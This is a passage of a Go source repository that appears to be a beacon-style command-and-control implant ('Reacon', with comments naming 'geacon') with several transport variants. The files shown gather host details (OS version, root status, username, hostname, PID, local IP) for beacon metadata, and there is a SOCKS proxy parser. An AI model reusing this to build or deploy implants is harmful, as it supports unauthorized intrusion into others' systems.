38 |
39 | if len(uname.Release) > 0 {
40 | return arrayToString(uname.Release), nil
41 | }
42 | return "0.0", errors.New("Something wrong")
43 | }
44 |
45 | func IsHighPriv() bool {
46 | if os.Getuid() == 0 {
47 | return true
48 | }
49 | return false
50 | }
51 |
52 | func IsOSX64() (bool, error) {
53 | uname := getUname()
54 | if arrayToString(uname.Machine) == "x86_64" {
55 | return true, nil
56 | }
57 | return false, nil
58 | }
59 |
60 | func GetCodePageANSI() ([]byte, error) {
61 | //linux also use utf8 as default
62 | b := make([]byte, 2)
63 | binary.LittleEndian.PutUint16(b, 65001)
64 | return b, nil
65 | }
66 |
67 | func GetCodePageOEM() ([]byte, error) {
68 | b := make([]byte, 2)
69 | binary.LittleEndian.PutUint16(b, 65001)
70 | return b, nil
71 | }
72 |
73 | func GetUsername() (string, error) {
74 | user, err := user.Current()
75 | if err != nil {
76 | return "", nil
77 | }
78 | usr := user.Username
79 | return usr, nil
80 | }
81 |
82 | func IsPidX64(pid uint32) (bool, error) {
83 | /*is64 := false
84 |
85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid)
86 | if err != nil {
87 | return IsProcessX64()
88 | }
89 |
90 | _ = windows.IsWow64Process(hProcess, &is64)*/
91 |
92 | return true, nil
93 | }
94 |
95 | // return 0
96 | func GetProcessSessionId(pid int32) uint32 {
97 | return 0
98 | }
99 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/sysinfo/sysinfo_linux.go:
--------------------------------------------------------------------------------
1 | //go:build linux && !arm
2 |
3 | package sysinfo
4 |
5 | import (
6 | "encoding/binary"
7 | "errors"
8 | "fmt"
9 | "os"
10 | "os/user"
11 | "strings"
12 | "syscall"
13 | )
14 |
15 | func arrayToString(x [65]int8) string {
16 | var buf [65]byte
17 | for i, b := range x {
18 | buf[i] = byte(b)
19 | }
20 | str := string(buf[:])
21 | if i := strings.Index(str, "\x00"); i != -1 {
22 | str = str[:i]
23 | }
24 | return str
25 | }
26 |
27 | func getUname() syscall.Utsname {
28 | var uname syscall.Utsname
29 | if err := syscall.Uname(&uname); err != nil {
30 | fmt.Printf("Uname: %v", err)
31 | return syscall.Utsname{} //nil
32 | }
33 | return uname
34 | }
35 |
36 | func GetOSVersion() (string, error) {
37 | uname := getUname()
38 |
39 | if len(uname.Release) > 0 {
40 | return arrayToString(uname.Release), nil
41 | }
42 | return "0.0", errors.New("Something wrong")
43 | }
44 |
45 | func IsHighPriv() bool {
46 | if os.Getuid() == 0 {
47 | return true
48 | }
49 | return false
50 | }
51 |
52 | func IsOSX64() (bool, error) {
53 | uname := getUname()
54 | if arrayToString(uname.Machine) == "x86_64" {
55 | return true, nil
56 | }
57 | return false, nil
58 | }
59 |
60 | func GetCodePageANSI() ([]byte, error) {
61 | //linux also use utf8 as default
62 | b := make([]byte, 2)
63 | binary.LittleEndian.PutUint16(b, 65001)
64 | return b, nil
65 | }
66 |
67 | func GetCodePageOEM() ([]byte, error) {
68 | b := make([]byte, 2)
69 | binary.LittleEndian.PutUint16(b, 65001)
70 | return b, nil
71 | }
72 |
73 | func GetUsername() (string, error) {
74 | user, err := user.Current()
75 | if err != nil {
76 | return "", nil
77 | }
78 | usr := user.Username
79 | return usr, nil
80 | }
81 |
82 | func IsPidX64(pid uint32) (bool, error) {
83 | /*is64 := false
84 |
85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid)
86 | if err != nil {
87 | return IsProcessX64()
88 | }
89 |
90 | _ = windows.IsWow64Process(hProcess, &is64)*/
91 |
92 | return true, nil
93 | }
94 |
95 | // return 0
96 | func GetProcessSessionId(pid int32) uint32 {
97 | return 0
98 | }
99 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/sysinfo/sysinfo_linux.go:
--------------------------------------------------------------------------------
1 | //go:build linux && !arm
2 |
3 | package sysinfo
4 |
5 | import (
6 | "encoding/binary"
7 | "errors"
8 | "fmt"
9 | "os"
10 | "os/user"
11 | "strings"
12 | "syscall"
13 | )
14 |
15 | func arrayToString(x [65]int8) string {
16 | var buf [65]byte
17 | for i, b := range x {
18 | buf[i] = byte(b)
19 | }
20 | str := string(buf[:])
21 | if i := strings.Index(str, "\x00"); i != -1 {
22 | str = str[:i]
23 | }
24 | return str
25 | }
26 |
27 | func getUname() syscall.Utsname {
28 | var uname syscall.Utsname
29 | if err := syscall.Uname(&uname); err != nil {
30 | fmt.Printf("Uname: %v", err)
31 | return syscall.Utsname{} //nil
32 | }
33 | return uname
34 | }
35 |
36 | func GetOSVersion() (string, error) {
37 | uname := getUname()
38 |
39 | if len(uname.Release) > 0 {
40 | return arrayToString(uname.Release), nil
41 | }
42 | return "0.0", errors.New("Something wrong")
43 | }
44 |
45 | func IsHighPriv() bool {
46 | if os.Getuid() == 0 {
47 | return true
48 | }
49 | return false
50 | }
51 |
52 | func IsOSX64() (bool, error) {
53 | uname := getUname()
54 | if arrayToString(uname.Machine) == "x86_64" {
55 | return true, nil
56 | }
57 | return false, nil
58 | }
59 |
60 | func GetCodePageANSI() ([]byte, error) {
61 | //linux also use utf8 as default
62 | b := make([]byte, 2)
63 | binary.LittleEndian.PutUint16(b, 65001)
64 | return b, nil
65 | }
66 |
67 | func GetCodePageOEM() ([]byte, error) {
68 | b := make([]byte, 2)
69 | binary.LittleEndian.PutUint16(b, 65001)
70 | return b, nil
71 | }
72 |
73 | func GetUsername() (string, error) {
74 | user, err := user.Current()
75 | if err != nil {
76 | return "", nil
77 | }
78 | usr := user.Username
79 | return usr, nil
80 | }
81 |
82 | func IsPidX64(pid uint32) (bool, error) {
83 | /*is64 := false
84 |
85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid)
86 | if err != nil {
87 | return IsProcessX64()
88 | }
89 |
90 | _ = windows.IsWow64Process(hProcess, &is64)*/
91 |
92 | return true, nil
93 | }
94 |
95 | // return 0
96 | func GetProcessSessionId(pid int32) uint32 {
97 | return 0
98 | }
99 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/sysinfo/sysinfo_linux_arm.go:
--------------------------------------------------------------------------------
1 | //go:build linux && arm
2 |
3 | package sysinfo
4 |
5 | import (
6 | "encoding/binary"
7 | "errors"
8 | "fmt"
9 | "os"
10 | "os/user"
11 | "strings"
12 | "syscall"
13 | )
14 |
15 | func arrayToString(x [65]uint8) string {
16 | var buf [65]byte
17 | for i, b := range x {
18 | buf[i] = byte(b)
19 | }
20 | str := string(buf[:])
21 | if i := strings.Index(str, "\x00"); i != -1 {
22 | str = str[:i]
23 | }
24 | return str
25 | }
26 |
27 | func getUname() syscall.Utsname {
28 | var uname syscall.Utsname
29 | if err := syscall.Uname(&uname); err != nil {
30 | fmt.Printf("Uname: %v", err)
31 | return syscall.Utsname{} //nil
32 | }
33 | return uname
34 | }
35 |
36 | func GetOSVersion() (string, error) {
37 | uname := getUname()
38 |
39 | if len(uname.Release) > 0 {
40 | return arrayToString(uname.Release), nil
41 | }
42 | return "0.0", errors.New("Something wrong")
43 | }
44 |
45 | func IsHighPriv() bool {
46 | if os.Getuid() == 0 {
47 | return true
48 | }
49 | return false
50 | }
51 |
52 | func IsOSX64() (bool, error) {
53 | uname := getUname()
54 | if arrayToString(uname.Machine) == "x86_64" {
55 | return true, nil
56 | }
57 | return false, nil
58 | }
59 |
60 | func GetCodePageANSI() ([]byte, error) {
61 | //linux also use utf8 as default
62 | b := make([]byte, 2)
63 | binary.LittleEndian.PutUint16(b, 65001)
64 | return b, nil
65 | }
66 |
67 | func GetCodePageOEM() ([]byte, error) {
68 | b := make([]byte, 2)
69 | binary.LittleEndian.PutUint16(b, 65001)
70 | return b, nil
71 | }
72 |
73 | func GetUsername() (string, error) {
74 | user, err := user.Current()
75 | if err != nil {
76 | return "", nil
77 | }
78 | usr := user.Username
79 | return usr, nil
80 | }
81 |
82 | func IsPidX64(pid uint32) (bool, error) {
83 | /*is64 := false
84 |
85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid)
86 | if err != nil {
87 | return IsProcessX64()
88 | }
89 |
90 | _ = windows.IsWow64Process(hProcess, &is64)*/
91 |
92 | return true, nil
93 | }
94 |
95 | // return 0
96 | func GetProcessSessionId(pid int32) uint32 {
97 | return 0
98 | }
99 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/sysinfo/sysinfo_linux_arm.go:
--------------------------------------------------------------------------------
1 | //go:build linux && arm
2 |
3 | package sysinfo
4 |
5 | import (
6 | "encoding/binary"
7 | "errors"
8 | "fmt"
9 | "os"
10 | "os/user"
11 | "strings"
12 | "syscall"
13 | )
14 |
15 | func arrayToString(x [65]uint8) string {
16 | var buf [65]byte
17 | for i, b := range x {
18 | buf[i] = byte(b)
19 | }
20 | str := string(buf[:])
21 | if i := strings.Index(str, "\x00"); i != -1 {
22 | str = str[:i]
23 | }
24 | return str
25 | }
26 |
27 | func getUname() syscall.Utsname {
28 | var uname syscall.Utsname
29 | if err := syscall.Uname(&uname); err != nil {
30 | fmt.Printf("Uname: %v", err)
31 | return syscall.Utsname{} //nil
32 | }
33 | return uname
34 | }
35 |
36 | func GetOSVersion() (string, error) {
37 | uname := getUname()
38 |
39 | if len(uname.Release) > 0 {
40 | return arrayToString(uname.Release), nil
41 | }
42 | return "0.0", errors.New("Something wrong")
43 | }
44 |
45 | func IsHighPriv() bool {
46 | if os.Getuid() == 0 {
47 | return true
48 | }
49 | return false
50 | }
51 |
52 | func IsOSX64() (bool, error) {
53 | uname := getUname()
54 | if arrayToString(uname.Machine) == "x86_64" {
55 | return true, nil
56 | }
57 | return false, nil
58 | }
59 |
60 | func GetCodePageANSI() ([]byte, error) {
61 | //linux also use utf8 as default
62 | b := make([]byte, 2)
63 | binary.LittleEndian.PutUint16(b, 65001)
64 | return b, nil
65 | }
66 |
67 | func GetCodePageOEM() ([]byte, error) {
68 | b := make([]byte, 2)
69 | binary.LittleEndian.PutUint16(b, 65001)
70 | return b, nil
71 | }
72 |
73 | func GetUsername() (string, error) {
74 | user, err := user.Current()
75 | if err != nil {
76 | return "", nil
77 | }
78 | usr := user.Username
79 | return usr, nil
80 | }
81 |
82 | func IsPidX64(pid uint32) (bool, error) {
83 | /*is64 := false
84 |
85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid)
86 | if err != nil {
87 | return IsProcessX64()
88 | }
89 |
90 | _ = windows.IsWow64Process(hProcess, &is64)*/
91 |
92 | return true, nil
93 | }
94 |
95 | // return 0
96 | func GetProcessSessionId(pid int32) uint32 {
97 | return 0
98 | }
99 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/sysinfo/sysinfo_linux_arm.go:
--------------------------------------------------------------------------------
1 | //go:build linux && arm
2 |
3 | package sysinfo
4 |
5 | import (
6 | "encoding/binary"
7 | "errors"
8 | "fmt"
9 | "os"
10 | "os/user"
11 | "strings"
12 | "syscall"
13 | )
14 |
15 | func arrayToString(x [65]uint8) string {
16 | var buf [65]byte
17 | for i, b := range x {
18 | buf[i] = byte(b)
19 | }
20 | str := string(buf[:])
21 | if i := strings.Index(str, "\x00"); i != -1 {
22 | str = str[:i]
23 | }
24 | return str
25 | }
26 |
27 | func getUname() syscall.Utsname {
28 | var uname syscall.Utsname
29 | if err := syscall.Uname(&uname); err != nil {
30 | fmt.Printf("Uname: %v", err)
31 | return syscall.Utsname{} //nil
32 | }
33 | return uname
34 | }
35 |
36 | func GetOSVersion() (string, error) {
37 | uname := getUname()
38 |
39 | if len(uname.Release) > 0 {
40 | return arrayToString(uname.Release), nil
41 | }
42 | return "0.0", errors.New("Something wrong")
43 | }
44 |
45 | func IsHighPriv() bool {
46 | if os.Getuid() == 0 {
47 | return true
48 | }
49 | return false
50 | }
51 |
52 | func IsOSX64() (bool, error) {
53 | uname := getUname()
54 | if arrayToString(uname.Machine) == "x86_64" {
55 | return true, nil
56 | }
57 | return false, nil
58 | }
59 |
60 | func GetCodePageANSI() ([]byte, error) {
61 | //linux also use utf8 as default
62 | b := make([]byte, 2)
63 | binary.LittleEndian.PutUint16(b, 65001)
64 | return b, nil
65 | }
66 |
67 | func GetCodePageOEM() ([]byte, error) {
68 | b := make([]byte, 2)
69 | binary.LittleEndian.PutUint16(b, 65001)
70 | return b, nil
71 | }
72 |
73 | func GetUsername() (string, error) {
74 | user, err := user.Current()
75 | if err != nil {
76 | return "", nil
77 | }
78 | usr := user.Username
79 | return usr, nil
80 | }
81 |
82 | func IsPidX64(pid uint32) (bool, error) {
83 | /*is64 := false
84 |
85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid)
86 | if err != nil {
87 | return IsProcessX64()
88 | }
89 |
90 | _ = windows.IsWow64Process(hProcess, &is64)*/
91 |
92 | return true, nil
93 | }
94 |
95 | // return 0
96 | func GetProcessSessionId(pid int32) uint32 {
97 | return 0
98 | }
99 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/sysinfo/sysinfo_linux_arm.go:
--------------------------------------------------------------------------------
1 | //go:build linux && arm
2 |
3 | package sysinfo
4 |
5 | import (
6 | "encoding/binary"
7 | "errors"
8 | "fmt"
9 | "os"
10 | "os/user"
11 | "strings"
12 | "syscall"
13 | )
14 |
15 | func arrayToString(x [65]uint8) string {
16 | var buf [65]byte
17 | for i, b := range x {
18 | buf[i] = byte(b)
19 | }
20 | str := string(buf[:])
21 | if i := strings.Index(str, "\x00"); i != -1 {
22 | str = str[:i]
23 | }
24 | return str
25 | }
26 |
27 | func getUname() syscall.Utsname {
28 | var uname syscall.Utsname
29 | if err := syscall.Uname(&uname); err != nil {
30 | fmt.Printf("Uname: %v", err)
31 | return syscall.Utsname{} //nil
32 | }
33 | return uname
34 | }
35 |
36 | func GetOSVersion() (string, error) {
37 | uname := getUname()
38 |
39 | if len(uname.Release) > 0 {
40 | return arrayToString(uname.Release), nil
41 | }
42 | return "0.0", errors.New("Something wrong")
43 | }
44 |
45 | func IsHighPriv() bool {
46 | if os.Getuid() == 0 {
47 | return true
48 | }
49 | return false
50 | }
51 |
52 | func IsOSX64() (bool, error) {
53 | uname := getUname()
54 | if arrayToString(uname.Machine) == "x86_64" {
55 | return true, nil
56 | }
57 | return false, nil
58 | }
59 |
60 | func GetCodePageANSI() ([]byte, error) {
61 | //linux also use utf8 as default
62 | b := make([]byte, 2)
63 | binary.LittleEndian.PutUint16(b, 65001)
64 | return b, nil
65 | }
66 |
67 | func GetCodePageOEM() ([]byte, error) {
68 | b := make([]byte, 2)
69 | binary.LittleEndian.PutUint16(b, 65001)
70 | return b, nil
71 | }
72 |
73 | func GetUsername() (string, error) {
74 | user, err := user.Current()
75 | if err != nil {
76 | return "", nil
77 | }
78 | usr := user.Username
79 | return usr, nil
80 | }
81 |
82 | func IsPidX64(pid uint32) (bool, error) {
83 | /*is64 := false
84 |
85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid)
86 | if err != nil {
87 | return IsProcessX64()
88 | }
89 |
90 | _ = windows.IsWow64Process(hProcess, &is64)*/
91 |
92 | return true, nil
93 | }
94 |
95 | // return 0
96 | func GetProcessSessionId(pid int32) uint32 {
97 | return 0
98 | }
99 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/services/proxy/statute/method.go:
--------------------------------------------------------------------------------
1 | package statute
2 |
3 | import (
4 | "io"
5 | )
6 |
7 | // MethodRequest is the negotiation method request packet
8 | // The SOCKS handshake method request is formed as follows:
9 | //
10 | // +-----+----------+---------------+
11 | // | VER | NMETHODS | METHODS |
12 | // +-----+----------+---------------+
13 | // | 1 | 1 | X'00' - X'FF' |
14 | // +-----+----------+---------------+
15 | type MethodRequest struct {
16 | Ver byte
17 | NMethods byte
18 | Methods []byte // 1-255 bytes
19 | }
20 |
21 | // NewMethodRequest new negotiation method request
22 | func NewMethodRequest(ver byte, medthods []byte) MethodRequest {
23 | return MethodRequest{
24 | ver,
25 | byte(len(medthods)),
26 | medthods,
27 | }
28 | }
29 |
30 | // ParseMethodRequest parse method request.
31 | func ParseMethodRequest(r io.Reader) (mr MethodRequest, err error) {
32 | // Read the version byte
33 | tmp := []byte{0}
34 | if _, err = r.Read(tmp); err != nil {
35 | return
36 | }
37 | mr.Ver = tmp[0]
38 |
39 | // Read number method
40 | if _, err = r.Read(tmp); err != nil {
41 | return
42 | }
43 | mr.NMethods, mr.Methods = tmp[0], make([]byte, tmp[0])
44 | // read methods
45 | _, err = io.ReadAtLeast(r, mr.Methods, int(mr.NMethods))
46 | return
47 | }
48 |
49 | // Bytes method request to bytes
50 | func (sf MethodRequest) Bytes() []byte {
51 | b := make([]byte, 0, 2+sf.NMethods)
52 | b = append(b, sf.Ver, sf.NMethods)
53 | b = append(b, sf.Methods...)
54 | return b
55 | }
56 |
57 | // MethodReply is the negotiation method reply packet
58 | // The SOCKS handshake method response is formed as follows:
59 | //
60 | // +-----+--------+
61 | // | VER | METHOD |
62 | // +-----+--------+
63 | // | 1 | 1 |
64 | // +-----+--------+
65 | type MethodReply struct {
66 | Ver byte
67 | Method byte
68 | }
69 |
70 | // ParseMethodReply parse method reply.
71 | func ParseMethodReply(r io.Reader) (n MethodReply, err error) {
72 | bb := []byte{0, 0}
73 | if _, err = io.ReadFull(r, bb); err != nil {
74 | return
75 | }
76 | n.Ver, n.Method = bb[0], bb[1]
77 | return
78 | }
79 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/sysinfo/sysinfo_linux.go:
--------------------------------------------------------------------------------
1 | //go:build linux && !arm
2 |
3 | package sysinfo
4 |
5 | import (
6 | "encoding/binary"
7 | "errors"
8 | "fmt"
9 | "os"
10 | "os/user"
11 | "strings"
12 | "syscall"
13 | )
14 |
15 | func arrayToString(x [65]int8) string {
16 | var buf [65]byte
17 | for i, b := range x {
18 | buf[i] = byte(b)
19 | }
20 | str := string(buf[:])
21 | if i := strings.Index(str, "\x00"); i != -1 {
22 | str = str[:i]
23 | }
24 | return str
25 | }
26 |
27 | func getUname() syscall.Utsname {
28 | var uname syscall.Utsname
29 | if err := syscall.Uname(&uname); err != nil {
30 | fmt.Printf("Uname: %v", err)
31 | return syscall.Utsname{} //nil
32 | }
33 | return uname
34 | }
35 |
36 | func GetOSVersion() (string, error) {
37 | uname := getUname()
38 |
39 | if len(uname.Release) > 0 {
40 | return arrayToString(uname.Release), nil
41 | }
42 | return "0.0", errors.New("Something wrong")
43 | }
44 |
45 | func IsHighPriv() bool {
46 | if os.Getuid() == 0 {
47 | return true
48 | }
49 | return false
50 | }
51 |
52 | func IsOSX64() (bool, error) {
53 | uname := getUname()
54 | if arrayToString(uname.Machine) == "x86_64" {
55 | return true, nil
56 | }
57 | return false, nil
58 | }
59 |
60 | func GetCodePageANSI() ([]byte, error) {
61 | //linux also use utf8 as default
62 | b := make([]byte, 2)
63 | binary.LittleEndian.PutUint16(b, 65001)
64 | return b, nil
65 | }
66 |
67 | func GetCodePageOEM() ([]byte, error) {
68 | b := make([]byte, 2)
69 | binary.LittleEndian.PutUint16(b, 65001)
70 | return b, nil
71 | }
72 |
73 | func GetUsername() (string, error) {
74 | user, err := user.Current()
75 | if err != nil {
76 | return "", nil
77 | }
78 | usr := user.Username
79 | return usr, nil
80 | }
81 |
82 | func IsPidX64(pid uint32) (bool, error) {
83 | /*is64 := false
84 |
85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid)
86 | if err != nil {
87 | return IsProcessX64()
88 | }
89 |
90 | _ = windows.IsWow64Process(hProcess, &is64)*/
91 |
92 | return true, nil
93 | }
94 |
95 | // return 0
96 | func GetProcessSessionId(pid int32) uint32 {
97 | return 0
98 | }
99 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/sysinfo/sysinfo_linux_arm.go:
--------------------------------------------------------------------------------
1 | //go:build linux && arm
2 |
3 | package sysinfo
4 |
5 | import (
6 | "encoding/binary"
7 | "errors"
8 | "fmt"
9 | "os"
10 | "os/user"
11 | "strings"
12 | "syscall"
13 | )
14 |
15 | func arrayToString(x [65]uint8) string {
16 | var buf [65]byte
17 | for i, b := range x {
18 | buf[i] = byte(b)
19 | }
20 | str := string(buf[:])
21 | if i := strings.Index(str, "\x00"); i != -1 {
22 | str = str[:i]
23 | }
24 | return str
25 | }
26 |
27 | func getUname() syscall.Utsname {
28 | var uname syscall.Utsname
29 | if err := syscall.Uname(&uname); err != nil {
30 | fmt.Printf("Uname: %v", err)
31 | return syscall.Utsname{} //nil
32 | }
33 | return uname
34 | }
35 |
36 | func GetOSVersion() (string, error) {
37 | uname := getUname()
38 |
39 | if len(uname.Release) > 0 {
40 | return arrayToString(uname.Release), nil
41 | }
42 | return "0.0", errors.New("Something wrong")
43 | }
44 |
45 | func IsHighPriv() bool {
46 | if os.Getuid() == 0 {
47 | return true
48 | }
49 | return false
50 | }
51 |
52 | func IsOSX64() (bool, error) {
53 | uname := getUname()
54 | if arrayToString(uname.Machine) == "x86_64" {
55 | return true, nil
56 | }
57 | return false, nil
58 | }
59 |
60 | func GetCodePageANSI() ([]byte, error) {
61 | //linux also use utf8 as default
62 | b := make([]byte, 2)
63 | binary.LittleEndian.PutUint16(b, 65001)
64 | return b, nil
65 | }
66 |
67 | func GetCodePageOEM() ([]byte, error) {
68 | b := make([]byte, 2)
69 | binary.LittleEndian.PutUint16(b, 65001)
70 | return b, nil
71 | }
72 |
73 | func GetUsername() (string, error) {
74 | user, err := user.Current()
75 | if err != nil {
76 | return "", nil
77 | }
78 | usr := user.Username
79 | return usr, nil
80 | }
81 |
82 | func IsPidX64(pid uint32) (bool, error) {
83 | /*is64 := false
84 |
85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid)
86 | if err != nil {
87 | return IsProcessX64()
88 | }
89 |
90 | _ = windows.IsWow64Process(hProcess, &is64)*/
91 |
92 | return true, nil
93 | }
94 |
95 | // return 0
96 | func GetProcessSessionId(pid int32) uint32 {
97 | return 0
98 | }
99 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/sysinfo/meta.go:
--------------------------------------------------------------------------------
1 | package sysinfo
2 |
3 | import (
4 | "encoding/binary"
5 | "net"
6 | "os"
7 | "runtime"
8 | "strings"
9 | )
10 |
11 | func GetProcessName() string {
12 | processName, err := os.Executable()
13 | if err != nil {
14 | return "unknown"
15 | }
16 | // C:\Users\admin\Desktop\cmd.exe
17 | // ./cmd
18 | var result string
19 | slashPos := strings.LastIndex(processName, "\\")
20 | if slashPos > 0 {
21 | result = processName[slashPos+1:]
22 | }
23 | backslashPos := strings.LastIndex(processName, "/")
24 | if backslashPos > 0 {
25 | result = processName[backslashPos+1:]
26 | }
27 | return result
28 | }
29 |
30 | func GetPID() int {
31 | return os.Getpid()
32 | }
33 |
34 | func GetMetaDataFlag() int {
35 | flagInt := 0
36 | if IsHighPriv() {
37 | flagInt += 8
38 | }
39 | isOSX64, _ := IsOSX64()
40 | if isOSX64 {
41 | flagInt += 4
42 | }
43 | isProcessX64 := IsProcessX64()
44 | // there is no need to add 1 when process is x86
45 | if isProcessX64 {
46 | flagInt += 2
47 | }
48 | return flagInt
49 | }
50 |
51 | func GetComputerName() string {
52 | sHostName, _ := os.Hostname()
53 | // message too long for RSA public key size
54 | if runtime.GOOS == "linux" {
55 | sHostName = sHostName + " (Linux)"
56 | } else if runtime.GOOS == "darwin" {
57 | sHostName = sHostName + " (Darwin)"
58 | }
59 | return sHostName
60 | }
61 |
62 | // it is ok
63 | func IsProcessX64() bool {
64 | if runtime.GOARCH == "amd64" || runtime.GOARCH == "arm64" || runtime.GOARCH == "arm64be" {
65 | //util.Println("geacon is x64")
66 | return true
67 | }
68 | //util.Println("geacon is x86")
69 | return false
70 | }
71 |
72 | func GetLocalIPInt() uint32 {
73 | addrs, err := net.InterfaceAddrs()
74 | if err != nil {
75 | return 0
76 | }
77 | var ip16 uint32
78 | var ip uint32
79 | for _, address := range addrs {
80 | if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
81 | ipString := ipnet.IP.String()
82 | if ipnet.IP.To4() != nil && !strings.HasPrefix(ipString, "169.254.") {
83 | if len(ipnet.IP) == 16 {
84 | ip16 = binary.LittleEndian.Uint32(ipnet.IP[12:16])
85 | }
86 | ip = binary.LittleEndian.Uint32(ipnet.IP)
87 | }
88 | }
89 | }
90 | if ip16 != 0 {
91 | return ip16
92 | }
93 | return ip
94 | }
95 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/sysinfo/meta.go:
--------------------------------------------------------------------------------
1 | package sysinfo
2 |
3 | import (
4 | "encoding/binary"
5 | "net"
6 | "os"
7 | "runtime"
8 | "strings"
9 | )
10 |
11 | func GetProcessName() string {
12 | processName, err := os.Executable()
13 | if err != nil {
14 | return "unknown"
15 | }
16 | // C:\Users\admin\Desktop\cmd.exe
17 | // ./cmd
18 | var result string
19 | slashPos := strings.LastIndex(processName, "\\")
20 | if slashPos > 0 {
21 | result = processName[slashPos+1:]
22 | }
23 | backslashPos := strings.LastIndex(processName, "/")
24 | if backslashPos > 0 {
25 | result = processName[backslashPos+1:]
26 | }
27 | return result
28 | }
29 |
30 | func GetPID() int {
31 | return os.Getpid()
32 | }
33 |
34 | func GetMetaDataFlag() int {
35 | flagInt := 0
36 | if IsHighPriv() {
37 | flagInt += 8
38 | }
39 | isOSX64, _ := IsOSX64()
40 | if isOSX64 {
41 | flagInt += 4
42 | }
43 | isProcessX64 := IsProcessX64()
44 | // there is no need to add 1 when process is x86
45 | if isProcessX64 {
46 | flagInt += 2
47 | }
48 | return flagInt
49 | }
50 |
51 | func GetComputerName() string {
52 | sHostName, _ := os.Hostname()
53 | // message too long for RSA public key size
54 | if runtime.GOOS == "linux" {
55 | sHostName = sHostName + " (Linux)"
56 | } else if runtime.GOOS == "darwin" {
57 | sHostName = sHostName + " (Darwin)"
58 | }
59 | return sHostName
60 | }
61 |
62 | // it is ok
63 | func IsProcessX64() bool {
64 | if runtime.GOARCH == "amd64" || runtime.GOARCH == "arm64" || runtime.GOARCH == "arm64be" {
65 | //util.Println("geacon is x64")
66 | return true
67 | }
68 | //util.Println("geacon is x86")
69 | return false
70 | }
71 |
72 | func GetLocalIPInt() uint32 {
73 | addrs, err := net.InterfaceAddrs()
74 | if err != nil {
75 | return 0
76 | }
77 | var ip16 uint32
78 | var ip uint32
79 | for _, address := range addrs {
80 | if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
81 | ipString := ipnet.IP.String()
82 | if ipnet.IP.To4() != nil && !strings.HasPrefix(ipString, "169.254.") {
83 | if len(ipnet.IP) == 16 {
84 | ip16 = binary.LittleEndian.Uint32(ipnet.IP[12:16])
85 | }
86 | ip = binary.LittleEndian.Uint32(ipnet.IP)
87 | }
88 | }
89 | }
90 | if ip16 != 0 {
91 | return ip16
92 | }
93 | return ip
94 | }
95 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/sysinfo/meta.go:
--------------------------------------------------------------------------------
1 | package sysinfo
2 |
3 | import (
4 | "encoding/binary"
5 | "net"
6 | "os"
7 | "runtime"
8 | "strings"
9 | )
10 |
11 | func GetProcessName() string {
12 | processName, err := os.Executable()
13 | if err != nil {
14 | return "unknown"
15 | }
16 | // C:\Users\admin\Desktop\cmd.exe
17 | // ./cmd
18 | var result string
19 | slashPos := strings.LastIndex(processName, "\\")
20 | if slashPos > 0 {
21 | result = processName[slashPos+1:]
22 | }
23 | backslashPos := strings.LastIndex(processName, "/")
24 | if backslashPos > 0 {
25 | result = processName[backslashPos+1:]
26 | }
27 | return result
28 | }
29 |
30 | func GetPID() int {
31 | return os.Getpid()
32 | }
33 |
34 | func GetMetaDataFlag() int {
35 | flagInt := 0
36 | if IsHighPriv() {
37 | flagInt += 8
38 | }
39 | isOSX64, _ := IsOSX64()
40 | if isOSX64 {
41 | flagInt += 4
42 | }
43 | isProcessX64 := IsProcessX64()
44 | // there is no need to add 1 when process is x86
45 | if isProcessX64 {
46 | flagInt += 2
47 | }
48 | return flagInt
49 | }
50 |
51 | func GetComputerName() string {
52 | sHostName, _ := os.Hostname()
53 | // message too long for RSA public key size
54 | if runtime.GOOS == "linux" {
55 | sHostName = sHostName + " (Linux)"
56 | } else if runtime.GOOS == "darwin" {
57 | sHostName = sHostName + " (Darwin)"
58 | }
59 | return sHostName
60 | }
61 |
62 | // it is ok
63 | func IsProcessX64() bool {
64 | if runtime.GOARCH == "amd64" || runtime.GOARCH == "arm64" || runtime.GOARCH == "arm64be" {
65 | //util.Println("geacon is x64")
66 | return true
67 | }
68 | //util.Println("geacon is x86")
69 | return false
70 | }
71 |
72 | func GetLocalIPInt() uint32 {
73 | addrs, err := net.InterfaceAddrs()
74 | if err != nil {
75 | return 0
76 | }
77 | var ip16 uint32
78 | var ip uint32
79 | for _, address := range addrs {
80 | if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
81 | ipString := ipnet.IP.String()
82 | if ipnet.IP.To4() != nil && !strings.HasPrefix(ipString, "169.254.") {
83 | if len(ipnet.IP) == 16 {
84 | ip16 = binary.LittleEndian.Uint32(ipnet.IP[12:16])
85 | }
86 | ip = binary.LittleEndian.Uint32(ipnet.IP)
87 | }
88 | }
89 | }
90 | if ip16 != 0 {
91 | return ip16
92 | }
93 | return ip
94 | }
95 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/sysinfo/meta.go:
--------------------------------------------------------------------------------
1 | package sysinfo
2 |
3 | import (
4 | "encoding/binary"
5 | "net"
6 | "os"
7 | "runtime"
8 | "strings"
9 | )
10 |
11 | func GetProcessName() string {
12 | processName, err := os.Executable()
13 | if err != nil {
14 | return "unknown"
15 | }
16 | // C:\Users\admin\Desktop\cmd.exe
17 | // ./cmd
18 | var result string
19 | slashPos := strings.LastIndex(processName, "\\")
20 | if slashPos > 0 {
21 | result = processName[slashPos+1:]
22 | }
23 | backslashPos := strings.LastIndex(processName, "/")
